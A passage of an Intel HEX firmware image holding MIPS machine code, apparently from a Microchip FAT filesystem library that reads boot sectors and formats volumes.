:108370003c00c38f21106200000042901500c2a390\n:108380002c00c28f0a004010000000001e00c387ae\n:1083900000a0023c40180300440642242110620061\n:1083a000000042940001422c0c004010000000002c\n:1083b0001400c293212040006157410f00000000cb\n:1083c000218040001500c293212040006157410fd9\n:1083d0000000000019000212000000000b0002243f\n:1083e0001000c2af3721400b000000001800c28708\n:1083f000401002004000c38f21106200000043942f\n:108400001e00c48700a0023c402004004406422411\n:108410002110820000004294040062140000000059\n:108420002800c28f05004010000000000b0002244d\n:108430001000c2af3721400b000000001e00c287b1\n:10844000010042241e00c2a71800c2870100422476\n:108450001800c2a71800c387148182971d006214f8\n:10846000000000002c00c28f060040100000000039\n:108470001e00c3871c00c2872a1043000f00401053\n:10848000000000002800c28f100040100000000013\n:108490001e00c2870b0042280c00401000000000a4\n:1084a0001e00c2873c00c38f211062000000439071\n:1084b0002000022405006210000000000b000224ce\n:1084c0001000c2af3721400b000000003721400be5\n:1084d00000000000a020400b000000004c22400bd8\n:1084e000000000002c00c28f23004010000000009c\n:1084f0001c00c2971800c2a73000c0af5421400b27\n:10850000000000001800c38700a0023c40180300d0\n:108510004406422421106200000043942e000224ed\n:108520000800621400000000010002243000c2af05\n:108530001800c287ffff42241800c2a75721400b32\n:10854000000000001800c287ffff42241800c2a7e5\n:108550001800c287ebff401c000000003000c28ff3\n:1085600007004014000000001c00c2971800c2a7ba\n:108570006021400b00000000070002241800c2a781\n:108580009c00c28f200043802a0002245d006210fc\n:10859000000000001600c0a32c00c28f1300401082\n:1085a000000000001600c39300a0023c4018030026\n:1085b0004406422421106200000042940001422c33\n:1085c00006004010000000001600c3931800c28788\n:1085d0002a10430005004010000000000b00022498\n:1085e0001000c2afc121400b000000002c00c28f60\n:1085f0000a004010000000001600c39300a0023cd7\n:1086000040180300440642242110620000004294f6\n:108610001400c2a38c21400b000000001600c2937e\n:108620003c00c38f21106200000042901400c2a3de\n:108630001600c2939c00c38f21106200200042806c\n:108640001500c2a31500c3932a000224030062147c\n:1086500000000000c121400b000000001500c39382\n:108660003f00022410006210000000001400c293ba\n:10867000212040006157410f000000002180400090\n:108680001500c293212040006157410f00000000f7\n:1086900005000212000000000b0002241000c2af0f\n:1086a000c121400b000000001600c29301004224cb\n:1086b0001600c2a31600c393080002240f00621420\n:1086c000000000002c00c28f0a00401000000000d3\n:1086d0001600c3931800c2872a10430005004014f7\n:1086e000000000000b0002241000c2afc121400bab\n:1086f00000000000c121400b000000006621400b7b\n:10870000000000009c00c28f280043802a00022441\n:1087100087006210000000001000c28f8400401427\n:10872000000000002c00c28f1d004010000000005f\n:108730009c00c28f28004380200002240b0062149a\n:10874000000000003000c38f010002240500621405\n:10875000000000000b0002241000c2af4d22400bad\n:10876000000000004d22400b000000003000c28fce\n:1087700005004014000000000b0002241000c2afee\n:108780004d22400b000000001800c2970200422456\n:10879000ffff42301800c2a7ea21400b0000000092\n:1087a000080002241800c2a7080002241600c2a371\n:1087b0002c00c28f13004010000000001800c38777\n:1087c00000a0023c4018030044064224211062002d\n:1087d000000042940001422c0600401000000000fe\n:1087e0001800c3871c00c2872a10430005004010f0\n:1087f000000000000b0002241000c2af4c22400b0e\n:10880000000000001600c2939c00c38f211062007c\n:10881000200042801500c2a32c00c28f0d00401022\n:10882000000000001800c287010043241800c3a7fd\n:108830002118400000a0023c4018030044064224d6\n:1088400021106200000042941400c2a31c22400bbd\n:10885000000000001800c287010043241800c3a7cd\n:108860003c00c38f21106200000042901400c2a39c\n:108870001500c3932a0002240300621400000000c4\n:108880004c22400b000000001500c3933f0002245f\n:1088900010006210000000001400c293212040006c\n:1088a0006157410f00000000218040001500c29375\n:1088b000212040006157410f000000000500021216\n:1088c000000000000b0002241000c2af4c22400b3d\n:1088d000000000001600c293010042241600c2a34b\n:1088e0001600c3930b0002240f0062140000000066\n:1088f0002c00c28f0a004010000000001800c3873f\n:108900001c00c2872a10430005004014000000002c\n:108910000b0002241000c2af4c22400b00000000ec\n:108920004c22400b00000000ec21400b0000000036\n:10893000000000001000c28f47004014000000003b\n:108940002c00c28f05004010000000004c00c297b0\n:1089500001004224ffff42304c00c2a74c00c22756\n:108960009800c48f212840008038400f000000008c\n:108970004800c2a32c00c28f050040100000000078\n:108980004c00c297ffff4224ffff42304c00c2a7b9\n:108990009800c28f3a0042944a00c2a74a00c29788\n:1089a0003f0042304a00c2a7a400c2930600401014\n:1089b00000000000010003240d004310000000002f\n:1089c0009622400b000000004a00c39708000224d2\n:1089d00005006214000000000b0002241000c2af6a\n:1089e0008f22400b000000008f22400b000000008f\n:1089f0004a00c3974600c29724106200ffff42302e\n:108a000003004010000000000b0002241000c2af61\n:108a10002c00c28f06004010000000002000c39709\n:108a20009800c28f340043a48e22400b0000000047\n:108a30009800c28f340040a4000000009622400b32\n:108a4000000000002400c0afa000c2930200401448\n:108a5000000000001000c0af4c00c297010042248b\n:108a6000ffff42304c00c2a74a1c400b0000000030\n:108a70004a1c400b000000001000c28f21e8c00318\n:108a80009400bf8f9000be8f8c00b08f9800bd27e0\n:108a90000800e00300000000d8ffbd272400bfaf9e\n:108aa0002000beaf21f0a0032800c4af2c00c5af4a\n:108ab0002110c0003000c2a31000c0af2800c28f38\n:108ac0000000428c1400c2af1400c28f25004290f7\n:108ad0000500401400000000070002241000c2af8f\n:108ae0004023400b000000002800c28f3c00438c54\n:108af0002800c28f400043ac2c00c28f000042947b\n:108b00000c004014000000002800c48f2c00c58f0a\n:108b100001000624e72f400f00000000130040145e\n:108b2000000000001b0002241000c2afdb22400b3b\n:108b3000000000002c00c28f000042940f00423061\n:108b40000a004010000000002800c48f2c00c58fd0\n:108b500001000624e72f400f00000000030040142e\n:108b6000000000001b0002241000c2af2800c48fc8\n:108b70002c00c58f8038400f000000001800c2a3f1\n:108b80001800c29305004010000000000b000224f2\n:108b90001000c2af4023400b000000002800c28f2d\n:108ba000100040ac2800c28f0400438c2800c28f04\n:108bb000080043ac2800c28f0c0040a42800c28fdc\n:108bc0000e0040a41800c3930100022405006214a3\n:108bd000000000000b0002241000c2af2023400b55\n:108be000000000002800c28f0800428c1400c48fcf\n:108bf000212840006d3f400f000000001c00c2af64\n:108c00004480829308004010000000003241400f71\n:108c100000000000040040100000000009000224d1\n:108c20004123400b000000002800c28f408082af2b\n:108c30000880838f1c00c28f1100621000000000aa\n:108c4000468080a31400c28f030043882120600067\n:108c500000004498211080001c00c48f212840008f\n:108c600001d6400f00000000030040140000000087\n:108c7000080002241000c2af1c00c28f088082af1f\n:108c80002800c38f180062908410027c180062a034\n:108c90003000c3837700022405006210000000004a\n:108ca0003000c383610002240c0062140000000045\n:108cb0002800c38f18006290010004240400827c05\n:108cc000180062a02800c38f180062904408027c3c\n:108cd000180062a04023400b000000002800c38f52\n:108ce000180062900400027c180062a02800c38f64\n:108cf00018006290010004244408827c180062a0dd\n:108d00001000c28f21e8c0032400bf8f2000be8f57\n:108d10002800bd270800e00300000000d0ffbd27a9\n:108d20002c00bfaf2800beaf21f0a0033000c4afbd\n:108d30003400c5af1800c0a33000c28f0000428cc1\n:108d40001c00c2af1c00c28f24004290010003240b\n:108d50000c00431000000000030003240f00431424\n:108d600000000000ff0f023cf8ff42341400c2afc5\n:108d7000ff0f023cffff42341000c2af6c23400bd8\n:108d800000000000f80f02241400c2afffff0234fd\n:108d90001000c2af6c23400b00000000f8ff02344b\n:108da0001400c2afffff02341000c2af0000000089\n:108db0003000c28f0800428c2000c2af1c00c48f5c\n:108dc0002000c58f8f49400f000000002400c2af73\n:108dd0002400c38f1000c28f050062140000000041\n:108de000080002241800c2a38f23400b00000000db\n:108df0001c00c28f1900438821206000160044988f\n:108e000021108000020043242400c28f2b10430055\n:108e100003004014000000000a0002241800c2a34e\n:108e20002400c38f1400c28f2b1062000300401473\n:108e3000000000003c0002241800c2a33000c28fd2\n:108e40002400c38f080043ac3400c28fffff4224cc\n:108e50003400c2af3400c28f040040100000000094\n:108e60001800c293d2ff4010000000001800c29307\n:108e700021e8c0032c00bf8f2800be8f3000bd2723\n:108e80000800e00300000000e0ffbd271c00bfafaa\n:108e90001800beaf21f0a0032000c4af1000c0a393\n:108ea0002000c28f250040a02000c28f00a0033cfc\n:108eb00000046324030043a8000043b8ddd9400f39\n:108ec000000000001400c2af1400c28f00004290e6\n:108ed0000700401000000000060002241000c2a39a\n:108ee00006000224388182a3e523400b0000000025\n:108ef0001400c28f0000429400014230ffff423054\n:108f000013004010000000001400c28f02004294c1\n:108f1000211840002000c28f1d0043a81a0043b84a\n:108f20001400c28f020042940102422c0800401437\n:108f300000000000210002241000c2a3210002242e\n:108f4000388182a31000c293e623400b000000008a\n:108f50002000c48fec23400f000000001000c2a3cb\n:108f60001000c2930b004014000000002000c48fca\n:108f70000e25400f000000001000c2a31000c29395\n:108f800004004014000000002000c28f01000324f0\n:108f9000250043a01000c29321e8c0031c00bf8f2e\n:108fa0001800be8f2000bd270800e003000000006d\n:108fb000d0ffbd272c00bfaf2800beaf21f0a0031b\n:108fc0003000c4af1000c0a33000c28f030043883c\n:108fd0002120600000004498211080002120000022\n:108fe0002128400001d6400f000000002118400059\n:108ff00001000224070062100000000008000224a3\n:109000001000c2a308000224388182a30725400b68\n:10901000000000003000c28f030043882120600060\n:1090200000004498211080001800c2af1800c28fc1\n:10903000fe014390550002249a00621400000000d3\n:109040001800c28fff014390aa0002249500621409\n:10905000000000003000c28f030043882120600020\n:109060000000449821108000212040003600052493\n:10907000183f400f00000000211840004600022465\n:109080003e006214000000003000c28f03004388dd\n:109090002120600000004498211080002120400021\n:1090a00037000524183f400f000000002118400041\n:1090b0004100022431006214000000003000c28f21\n:1090c00003004388212060000000449821108000a4\n:1090d0002120400038000524183f400f0000000008\n:1090e00021184000540002242400621400000000f3\n:1090f0003000c28f030043882120600000004498a4\n:10910000211080002120400039000524183f400f25\n:1091100000000000211840003100022417006214f2\n:10912000000000003000c28f03004388212060004f\n:1091300000004498211080002120400026000524d2\n:10914000183f400f000000002118400029000224b1\n:109150000a006214000000003000c28f070040a81f\n:10916000040040b83000c28f02000324240043a052\n:10917000211000000825400b000000003000c28fc5\n:1091800003004388212060000000449821108000e3\n:109190002120400052000524183f400f000000002d\n:1091a00021184000460002243e0062140000000026\n:1091b0003000c28f030043882120600000004498e3\n:1091c000211080002120400053000524183f400f4b\n:1091d0000000000021184000410002243100621408\n:1091e000000000003000c28f03004388212060008f\n:1091f00000004498211080002120400054000524e4\n:10920000183f400f000000002118400054000224c5\n:1092100024006214000000003000c28f0300438865\n:10922000212060000000449821108000212040008f\n:1092300055000524183f400f000000002118400091\n:109240003300022417006214000000003000c28fb7\n:109250000300438821206000000044982110800012\n:109260002120400042000524183f400f000000006c\n:1092700021184000290002240a00621400000000a6\n:109280003000c28f070040a8040040b83000c28ff1\n:1092900003000324240043a0211000000825400bf4\n:1092a000000000003000c28f0300438821206000ce\n:1092b00000004498211080001c00c2af1c00c28f27\n:1092c000fe014390550002240600621400000000d5\n:1092d0001c00c28fff014390aa0002240700621005\n:1092e0000000000004000224388182a3040002244c\n:1092f0001000c2a30725400b000000001c00c28f15\n:10930000be0142241400c2af1100c0a3ff24400bd1\n:10931000000000001400c28f0b004388080043982f\n:109320003000c28f070043a8040043b81400c28f66\n:10933000040042902000c2a32000c2930f00432cdf\n:10934000280060100000000080180200019d023c0f\n:1093500064934224211062000000428c0800400007\n:1093600000000000e493009da093009de493009d05\n:10937000e493009db493009de493009db493009dfd\n:10938000e493009de493009de493009de493009d8d\n:10939000cc93009dcc93009de493009db493009ddd\n:1093a0003000c28f01000324240043a0f924400ba5\n:1093b000000000003000c28f02000324240043a0fc\n:1093c0001000c2930825400b000000003000c28f3f\n:1093d00003000324240043a01000c2930825400b7f\n:1093e000000000001400c28f100042241400c2af1d\n:1093f0001100c293010042241100c2a31100c293c4\n:109400000400422cc3ff40140000000005000224a9\n:10941000388182a3050002241000c2a31000c29369\n:1094200021e8c0032c00bf8f2800be8f3000bd276d\n:109430000800e00300000000c8ffbd273400bfaff4\n:109440003000beaf21f0a0033800c4af1400c0a3a9\n:109450001800c0af1c00c0af3800c28f070043889f\n:10946000040043983800c28f0300448821288000fc\n:10947000000045982110a000212060002128400014\n:1094800001d6400f00000000211840000100022416\n:109490000500621000000000080002241400c2a3ae\n:1094a000f626400b000000003800c28f03004388fe\n:1094b00021306000000046982110c0002000c2af9b\n:1094c0002000c28ffe014390550002240600621462\n:1094d000000000002000c28fff014390aa00022478\n:1094e0000500621000000000030002241400c2a363\n:1094f0005226400b000000003800c28f0300438852\n:1095000021206000000044982110800021204000ac\n:109510000e000524273f400f000000002400c2a7d2\n:109520003800c28f0300438821286000000045985e\n:109530002110a000212040000d000524183f400ffd\n:1095400000000000211840003800c28f230043a013\n:109550003800c28f07004388040043982400c29754\n:10956000211862003800c28f0b0043a8080043b8de\n:109570003800c28f03004388213060000000469805\n:109580002110c0002120400010000524183f400f8a\n:1095900000000000211840003800c28f220043a0c4\n:1095a0003800c28f030043882120600000004498e7\n:1095b000211080002120400016000524273f400f85\n:1095c00000000000211840003800c28f210043a88d\n:1095d0001e0043b83800c28f210043882128600054\n:1095e0001e0045982110a0000e004014000000004d\n:1095f0003800c28f03004388213060000000469885\n:109600002110c0002120400024000524483f400fc5\n:1096100000000000211840003800c28f210043a83c\n:109620001e0043b83800c28f0b00438808004398df\n:109630003800c28f22004290212040003800c28fa3\n:10964000210045882130a0001e0046982110c0004e\n:109650001800820012100000211862003800c28f2a\n:109660000f0043a80c0043b83800c28f03004388a2\n:10967000212060000000449821108000212040003b\n:1096800011000524273f400f000000002118400072\n:109690003800c28fff006430140045900000a530f0\n:1096a0002520a400140044a0021a0300ffff633029\n:1096b000150044900000843025188300150043a055\n:1096c0003800c28f030043882128600000004598bd\n:1096d0002110a0002120400013000524273f400f47\n:1096e000000000001000c2af1000c28f0b00401439\n:1096f000000000003800c28f030043882130600062\n:10970000000046982110c0002120400020000524c0\n:10971000483f400f000000001000c2af3800c28f69\n:10972000030043882120600000004498211080003d\n:10973000212040000b000524273f400f00000000bf\n:109740002600c2a72600c2970500401000000000b6\n:109750002600c297010042300500401000000000c2\n:10976000210002241400c2a35226400b0000000076\n:109770003800c28f1400439015004290001202007e\n:1097800025104300ffff4230401902002600c29717\n:10979000ffff4224211862002600c2971a006200cf\n:1097a000f401400010100000121000002800c2afa9\n:1097b0002400c3973800c28f22004290212040002d\n:1097c0003800c28f210045882130a0001e00469835\n:1097d0002110c00018008200121000002118620041\n:1097e0002800c28f211062001000c38f2310620076\n:1097f0002c00c2af3800c28f230042902c00c38fd0\n:109800001b006200f401400010100000121800005c\n:109810003800c28f190043a8160043b83800c28f21\n:109820001900438821206000160044982110800010\n:10983000f50f422c06004010000000003800c28fd7\n:1098400001000324240043a02326400b0000000055\n:109850003800c28f1900438816004398f5ff023480\n:109860002b10620006004010000000003800c28f7c\n:1098700002000324240043a02326400b0000000024\n:109880003800c28f03000324240043a03800c28f95\n:10989000240043900300022415006214000000001d\n:1098a0003800c28f030043882128600000004598db\n:1098b0002110a000212040002c000524483f400f2b\n:1098c00000000000288182af3800c28f0f0043885b\n:1098d0000c0043982800c28f211862003800c28f04\n:1098e000130043a8100043b84c26400b00000000b2\n:1098f000288180af3800c28f0f0043880c00439846\n:109900003800c28f140044901500429000120200eb\n:1099100025104400ffff423002110200ffff4230d9\n:10992000211862003800c28f130043a8100043b80a\n:109930002600c2970102422c0300401400000000e0\n:10994000210002241400c2a33800c28f24004390d7\n:10995000030002240e006210000000001400c293f5\n:1099600099004010000000002000c28f4200439088\n:109970002900022406006210000000002000c28faf\n:1099800042004390280002248f006214000000006f\n:109990002000c28f13004390140042900012020076\n:1099a00025104300ffff42303b0040140000000040\n:1099b0002000c28f340042903700401400000000a5\n:1099c0002000c28f35004290330040140000000098\n:1099d0002000c28f360042902f004014000000008b\n:1099e0002000c28f370042902b004014000000007e\n:1099f0002000c28f38004290270040140000000071\n:109a00002000c28f39004290230040140000000063\n:109a10002000c28f3a0042901f0040140000000056\n:109a20002000c28f3b0042901b0040140000000049\n:109a30002000c28f3c00429017004014000000003c\n:109a40002000c28f3d00429013004014000000002f\n:109a50002000c28f3e0042900f0040140000000022\n:109a60002000c28f3f0042900b0040140000000015\n:109a70002000c28f42004390290002240800621097\n:109a8000000000002000c28f420043902800022402\n:109a90000300621000000000030002241400c2a3af\n:109aa0001400c29325004010000000001800c28f6f\n:109ab0002200401400000000010002241800c2af80\n:109ac0003800c28f07004388040043982000c28feb\n:109ad00032004490330042900012020025104400ee\n:109ae000ffff4230211862003800c28f0300448813\n:109af00021308000000046982110c0002120600025\n:109b00002128400001d6400f00000000211840002d\n:109b10000100022406006210000000000800022478\n:109b2000388182a308000224fc26400b00000000bc\n:109b30001400c0a3f426400b000000001400c293e0\n:109b400021004010000000001c00c28f1e004014c5\n:109b500000000000010002241c00c2af3800c28fc8\n:109b600007004388212060000400449821108000f1\n:109b7000060043243800c28f030044882128800057\n:109b8000000045982110a0002120600021284000fd\n:109b900001d6400f000000002118400001000224ff\n:109ba000060062100000000008000224388182a331\n:109bb00008000224fc26400b000000001400c0a393\n:109bc000f426400b00000000f626400b00000000c9\n:109bd0003025400b000000001400c2930300401029\n:109be000000000001400c293388182a31400c293c5\n:109bf00021e8c0033400bf8f3000be8f3800bd277e\n:109c00000800e00300000000f0ffbd270c00beaf1d\n:109c100021f0a0031000c4af0000c0af1000c28f3d\n:109c2000140042940000c2af0000c28f0014020072\n:109c30000000c2af1000c28f1a0042940000c38f10\n:109c4000251062000000c2af0000c28f21e8c003ef\n:109c50000c00be8f1000bd270800e00300000000cc\n:109c6000d8ffbd272400bfaf2000beaf21f0a00366\n:109c70002800c4af2c00c5af1000c0af2800c28fb1\n:109c800005004010000000002c00c28f0200422c92\n:109c90000400401000000000ffff02242128400bb8\n:109ca000000000002c00c28fffff43242800c28f59\n:109cb0002b1062000400401000000000ffff02248f\n:109cc0002128400b000000004480829308004010cf\n:109cd000000000003241400f00000000040040106e\n:109ce00000000000ffff02242128400b00000000bc\n:109cf00000a0023c000444242128000000020624a5\n:109d00006551410f0000000000a0023c0004422405\n:109d10001400c2af2800c28f1800c2af1800c38f52\n:109d20001505023c5b564234190062001010000019\n:109d3000231862004218030021104300421302005e\n:109d4000801302001000c2af1800c48f1505023c3a\n:109d50005b56423419008200101000002318820064\n:109d60004218030021104300421b02002110600032\n:109d70008011020023104300001a02002318620021\n:109d8000231083001800c2af1800c38f1004023cd8\n:109d900005414234190062001010000023186200cf\n:109da00042180300211043004211020080110200fa\n:109db0001000c38f251062001000c2af1800c38fbf\n:109dc0001004023c054142341900620010100000ea\n:109dd000232062004220040021104400422102009e\n:109de0002110800080110200231044002310620023\n:109df0001800c2af1800c28f010042241000c38fa8\n:109e0000251062001000c2af1000c28f02140200c1\n:109e1000ff00433000a0023c00044224bf0143a0e5\n:109e20001000c28f02120200ff00433000a0023c6b\n:109e300000044224c00143a01000c28fff00433041\n:109e400000a0023c00044224c10143a02c00c38fa7\n:109e50002800c28f231862001400c28fcd0143a8ce\n:109e6000ca0143b81400c28fcd014388212060008d\n:109e7000ca014498211080003910422c060040107d\n:109e8000000000001400c28f01000324c20143a09f\n:109e9000b627400b000000001400c28fcd0143889c\n:109ea000ca0143983f00023c60fd42342b1062001f\n:109eb00006004010000000001400c28f06000324ba\n:109ec000c20143a0b627400b00000000ffff0224a0\n:109ed0002128400b000000001400c28f2800c38f0f\n:109ee000c90143a8c60143b82800c38f2c00c28f04\n:109ef00021106200ffff42241800c2af1800c38f78\n:109f00001505023c5b564234190062001010000037\n:109f1000231862004218030021104300421302007c\n:109f2000801302001000c2af1800c48f1505023c58\n:109f30005b56423419008200101000002318820082\n:109f40004218030021104300421b02002110600050\n:109f50008011020023104300001a0200231862003f\n:109f6000231083001800c2af1800c38f1004023cf6\n:109f700005414234190062001010000023186200ed\n:109f80004218030021104300421102008011020018\n:109f90001000c38f251062001000c2af1800c38fdd\n:109fa0001004023c05414234190062001010000008\n:109fb00023206200422004002110440042210200bc\n:109fc0002110800080110200231044002310620041\n:109fd0001800c2af1800c28f010042241000c38fc6\n:109fe000251062001000c2af1000c28f02140200e0\n:109ff000ff00433000a0023c00044224c30143a000\n:10a000001000c28f02120200ff00433000a0023c89\n:10a0100000044224c40143a01000c28fff0043305b\n:10a0200000a0023c00044224c50143a01400c28fda\n:10a03000be0140a01400c28f55000324fe0143a0be\n:10a040001400c28faaff0324ff0143a021200000b7\n:10a0500000a0023c0004452401000624b6d8400fad\n:10a0600000000000211840000100022404006210da\n:10a0700000000000ffff02242128400b0000000028\n:10a080002110000021e8c0032400bf8f2000be8ff4\n:10a090002800bd270800e0030000000090ffbd2756\n:10a0a0006c00bfaf6800beaf21f0a003211080009c\n:10a0b0007400c5af7800c6af7000c2a33c00c227d1\n:10a0c0002400c2af388180a3468080a33c8080a357\n:10a0d000ffff0224048082afffff0224088082afca\n:10a0e0002400c28f00a0033c00046324030043a8a3\n:10a0f000000043b820d5400f00000000ddd9400f1c\n:10a10000000000002800c2af2800c28f000042906b\n:10a11000060040100000000006000224388182a3df\n:10a12000ffff0224122f400b00000000212000003e\n:10a1300000a0023c0004452401d6400f00000000ae\n:10a1400006004014000000001b000224388182a396\n:10a15000ffff0224122f400b000000002400c28fda\n:10a1600003004388212060000000449821108000f3\n:10a170002c00c2af2c00c28ffe0143905500022478\n:10a1800071006214000000002c00c28fff01439098\n:10a19000aa0002246c006214000000002400c28f98\n:10a1a0000300438821286000000045982110a0008a\n:10a1b0002120400036000524183f400f0000000019\n:10a1c00021184000460002245400621400000000e0\n:10a1d0002400c28f030043882130600000004698ad\n:10a1e0002110c0002120400037000524183f400ff7\n:10a1f00000000000211840004100022447006214c2\n:10a20000000000002400c28f03004388212060006a\n:10a2100000004498211080002120400038000524cf\n:10a22000183f400f00000000211840005400022495\n:10a230003a006214000000002400c28f030043882b\n:10a2400021286000000045982110a0002120400036\n:10a2500039000524183f400f00000000211840007d\n:10a26000310002242d006214000000002400c28f7f\n:10a270000300438821306000000046982110c00090\n:10a280002120400026000524183f400f0000000058\n:10a290002118400029000224200062140000000060\n:10a2a0001000c0af7000c2830b004010000000001f\n:10a2b000010003240300431000000000c328400bea\n:10a2c000000000001f000224388182a3ffff022447\n:10a2d000122f400b000000002400c28f070040a88e\n:10a2e000040040b82400c48f0e25400f0000000079\n:10a2f00006004010000000001b000224388182a3e9\n:10a30000ffff0224122f400b00000000000000009d\n:10a3100000000000d728400b0000000000a0023c15\n:10a32000000442241000c2af1000c28fc90143884c\n:10a33000c60143982400c28f070043a8040043b815\n:10a34000d728400b0000000004000224388182a3bb\n:10a35000ffff0224122f400b000000007000c28398\n:10a360000204401000000000010003240b04431409\n:10a37000000000001000c28fcd0143882120600042\n:10a38000ca014498211080003000c2af3000c28f53\n:10a390003910422c59004010000000002400c28fe8\n:10a3a00001000324240043a01000c28f01000324f5\n:10a3b000c20143a02120000000a0023c000445246b\n:10a3c00001000624b6d8400f00000000060040142b\n:10a3d0000000000009000224388182a3ffff02244c\n:10a3e000122f400b000000003000c28f2810422cba\n:10a3f00006004014000000002400c28f0200032465\n:10a40000230043a00629400b000000002400c28f57\n:10a4100001000324230043a000a0023c00044424c4\n:10a4200021280000000206246551410f00000000b1\n:10a4300000a0023c00044224320003243a0043a05e\n:10a440002400c28f230042904010020021184000d7\n:10a450003000c28f21106200dfff42241c00c2af17\n:10a460002400c28f23004290211840002110600078\n:10a470008010020080200200211044000021020010\n:10a480002110440021104300020042243400c2afd6\n:10a490003400c38f1c00c28f21106200ffff4324d1\n:10a4a0003400c28f1b006200f40140001010000055\n:10a4b000122800001c00c5af2400c28f0200032434\n:10a4c000220043a02400c28f140043900000633098\n:10a4d000140043a015004390000063300200633471\n:10a4e000150043a02400c28f1c00c38f210043a885\n:10a4f0001e0043b8042a400b000000003000c38f48\n:10a500003f00023c60fd42342b10620066004010a8\n:10a51000000000002400c28f02000324240043a096\n:10a520001000c28f06000324c20143a021200000b6\n:10a5300000a0023c0004452401000624b6d8400fc8\n:10a540000000000006004014000000000900022482\n:10a55000388182a3ffff0224122f400b000000006d\n:10a560003000c28fe8fd42241400c2af2400c28f25\n:10a5700001000324230043a06929400b00000000d0\n:10a580002400c28f2300429040100200ff0043309d\n:10a590002400c28f230043a01400c28f4210020087\n:10a5a0001400c2af1400c38feeff02342b10620000\n:10a5b000f3ff4010000000002400c28f23004290ef\n:10a5c0008100422c06004014000000000400022418\n:10a5d000388182a3ffff0224122f400b00000000ed\n:10a5e00000a0023c000444242128000000020624ac\n:10a5f0006551410f0000000000a0023c000442240d\n:10a60000360003243a0043a02400c28f2300429066\n:10a6100040100200211840003000c28f211062005b\n:10a62000dfff42241c00c2af2400c28f23004290ef\n:10a6300000120200020042243400c2af3400c38f73\n:10a640001c00c28f21106200ffff43243400c28f20\n:10a650001b006200f40140001010000012300000e6\n:10a660001c00c6af2400c28f02000324220043a0b6\n:10a670002400c28f1400439000006330140043a0f4\n:10a68000150043900000633002006334150043a0be\n:10a690002400c28f1c00c38f210043a81e0043b8b2\n:10a6a000042a400b000000002400c28f0300032492\n:10a6b000240043a01000c28f0b000324c20143a05a\n:10a6c0002120000000a0023c0004452401000624d3\n:10a6d000b6d8400f00000000060040140000000043\n:10a6e00009000224388182a3ffff0224122f400bad\n:10a6f000000000003000c28f1400c2af2400c28fdf\n:10a7000001000324230043a0cd29400b00000000da\n:10a710002400c28f2300429040100200ff0043300b\n:10a720002400c28f230043a01400c28f42100200f5\n:10a730001400c2af1400c38f3f00023cffbf42347d\n:10a740002b106200f2ff4010000000002400c28fb6\n:10a75000230042908100422c0600401400000000bb\n:10a7600004000224388182a3ffff0224122f400b31\n:10a770000000000000a0023c000444242128000046\n:10a78000000206246551410f000000003000c28f16\n:10a79000e0ff42241c00c2af2400c28f230042907d\n:10a7a000c0110200010042243400c2af3400c38f44\n:10a7b0001c00c28f21106200ffff43243400c28faf\n:10a7c0001b006200f4014000101000001210000095\n:10a7d0001c00c2af2400c28f02000324220043a049\n:10a7e0002400c28f1400439000006330140043a083\n:10a7f000150043900000633002006334150043a04d\n:10a800002400c28f1c00c38f210043a81e0043b840\n:10a8100000a0023cebff0324000443a000a0023c84\n:10a82000000442243c000324010043a000a0023c99\n:10a830000004422490ff0324020043a000a0023c35\n:10a84000000442244d000324030043a000a0023c66\n:10a850000004422443000324040043a000a0023c5f\n:10a860000004422448000324050043a000a0023c49\n:10a870000004422450000324060043a000a0023c30\n:10a880000004422420000324070043a000a0023c4f\n:10a890000004422446000324080043a000a0023c18\n:10a8a0000004422441000324090043a000a0023c0c\n:10a8b00000044224540003240a0043a000a0023ce8\n:10a8c000000442240b0040a000a0023c00044224eb\n:10a8d000020003240c0043a02400c28f23004390f5\n:10a8e00000a0023c000442240d0043a02400c28fbb\n:10a8f00024004390010002240600621000000000c2\n:10a900002400c28f24004390020002240701621435\n:10a910000000000000a0023c0004422408000324c0\n:10a920000e0043a000a0023c000442240f0040a0ff\n:10a930002400c28f0700438821206000040044984f\n:10a9400021108000080043242400c28f0b0043a87c\n:10a95000080043b800a0023c000442240200032483\n:10a96000100043a000a0023c00044224110040a0bb\n:10a9700000a0023c0004422402000324120043a071\n:10a9800000a0023c00044224130040a000a0023cae\n:10a9900000044224140040a000a0023c0004422411\n:10a9a000f8ff0324150043a01c00c28fff004330b2\n:10a9b00000a0023c00044224160043a01c00c28fe9\n:10a9c00002120200ff00433000a0023c00044224b7\n:10a9d000170043a000a0023c000442243f000324cf\n:10a9e000180043a000a0023c00044224190040a02b\n:10a9f00000a0023c00044224ffff03241a0043a0ed\n:10aa000000a0023c000442241b0040a02400c28f8e\n:10aa10000700438821286000040045982110a00009\n:10aa2000ff00433000a0023c000442241c0043a06d\n:10aa30002400c28f0700438821306000040046983c\n:10aa40002110c00002120200ff00433000a0023caf\n:10aa5000000442241d0043a02400c28f0700438845\n:10aa6000212060000400449821108000021402009c\n:10aa7000ff00433000a0023c000442241e0043a01b\n:10aa80002400c28f070043882128600004004598f5\n:10aa90002110a00002160200ff00433000a0023c7b\n:10aaa000000442241f0043a03000c28fff00433047\n:10aab00000a0023c00044224200043a03000c28fca\n:10aac00002120200ff00433000a0023c00044224b6\n:10aad000210043a03000c28f02140200ff00433067\n:10aae00000a0023c00044224220043a03000c28f98\n:10aaf00002160200ff00433000a0023c0004422482\n:10ab0000230043a000a0023c00044224240040a0f3\n:10ab100000a0023c00044224250040a000a0023c0a\n:10ab20000004422429000324260043a07400c28f9d\n:10ab3000ff00433000a0023c00044224270043a051\n:10ab40007400c28fff004324000044280b106400ef\n:10ab500003120200ff00433000a0023c0004422424\n:10ab6000280043a07400c28fffff03342118430064\n:10ab7000000044280b10640003140200ff0043305f\n:10ab800000a0023c00044224290043a07400c28fac\n:10ab9000ff00033cffff63342118430000004428fa\n:10aba0000b10640003160200ff00433000a0023cbb\n:10abb000000442242a0043a07800c28f2d004010d8\n:10abc000000000002000c0af022b400b000000007e\n:10abd0002000c28f2b0044247800c38f2000c28f36\n:10abe0002110620000004280ff00433000a0023cc0\n:10abf0000004422421108200000043a02000c28fe4\n:10ac0000010042242000c2af7800c38f2000c28f11\n:10ac1000211062000000428005004010000000008a\n:10ac20002000c28f0b00422ce9ff401400000000fe\n:10ac3000172b400b000000002000c28f01004324ae\n:10ac40002000c3af2b00432400a0023c0004422498\n:10ac50002110620020000324000043a02000c28fc6\n:10ac60000b00422cf4ff4014000000002d2b400b81\n:10ac7000000000002000c0af292b400b00000000a6\n:10ac80002000c28f2b00432400a0023c0004422479\n:10ac900021106200000040a02000c28f0100422469\n:10aca0002000c2af2000c28f0b00422cf4ff4014e2\n:10acb0000000000000a0023c0004422446000324df\n:10acc000360043a000a0023c0004422